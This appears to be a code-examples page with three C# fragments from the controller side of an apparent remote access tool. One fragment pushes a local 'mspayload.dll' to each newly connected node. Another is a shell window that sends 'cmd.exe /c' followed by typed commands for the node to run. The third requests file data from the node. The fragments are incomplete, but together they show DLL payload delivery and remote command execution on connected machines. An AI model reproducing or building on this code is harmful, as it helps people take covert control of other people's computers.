Ejemplo n.º 1
0
 public FileUI(RocketNode node)
 {
     InitializeComponent();
     //initDrive();
     _node             = node;
     _node.OnFileData += OnNodeData;
     byte[] tosnd = { 0x03, 0x01 };
     _node.Send(tosnd);
 }
Ejemplo n.º 2
0
 private void OnConnected(RocketNode node)
 {
     node.OnDisconnected += OnDisconnected;
     this.Dispatcher.Invoke(() =>
     {
         lNodes.Items.Add(node);
     });
     //send payload
     //byte[] bInit = { 0x88, 0x88, 0x88, 0x88};
     //node.Send(bInit);
     byte[] bPayload  = System.IO.File.ReadAllBytes(@"D:\Work\Code\ZSelf\utils\Release\mspayload.dll");
     byte[] bInitData = new byte[bPayload.Length + 1];
     bInitData[0] = 0x02;
     System.Buffer.BlockCopy(bPayload, 0, bInitData, 1, bPayload.Length);
     node.Send(bInitData);
 }
Ejemplo n.º 3
0
        public ShellUI(RocketNode node)
        {
            InitializeComponent();
            _node              = node;
            _node.OnShellData += OnNodeData;
            txtShell.Prompt    = "> ";

            Loaded += (s, e) =>
            {
                txtShell.CommandEntered += (ss, ee) =>
                {
                    byte[] raw   = Encoding.ASCII.GetBytes("cmd.exe /c " + ee.Command.Raw);
                    byte[] tosnd = new byte[raw.Length + 1];
                    tosnd[0] = 0x01;
                    System.Buffer.BlockCopy(raw, 0, tosnd, 1, raw.Length);
                    _node.Send(tosnd);
                };

                txtShell.AbortRequested += (ss, ee) =>
                {
                    MessageBox.Show("Abort !");
                };

                txtShell.RegisteredCommands.Add("hello");
                txtShell.RegisteredCommands.Add("world");
                txtShell.RegisteredCommands.Add("helloworld");
                txtShell.RegisteredCommands.Add("ls");
                txtShell.RegisteredCommands.Add("cd");
                txtShell.RegisteredCommands.Add("pwd");

                //txtShell.Text += "Welcome !\n";
                //txtShell.Text += "Hit tab to complete your current command.\n";
                //txtShell.Text += "Use ctrl+c to raise an AbortRequested event.\n\n";
                //txtShell.Text += "Available (fake) commands are:\n";
                //txtShell.RegisteredCommands.ForEach(cmd => txtShell.Text += "  - " + cmd + "\n");
                txtShell.InsertNewPrompt();
                txtShell.EnableInput(true);
            };
        }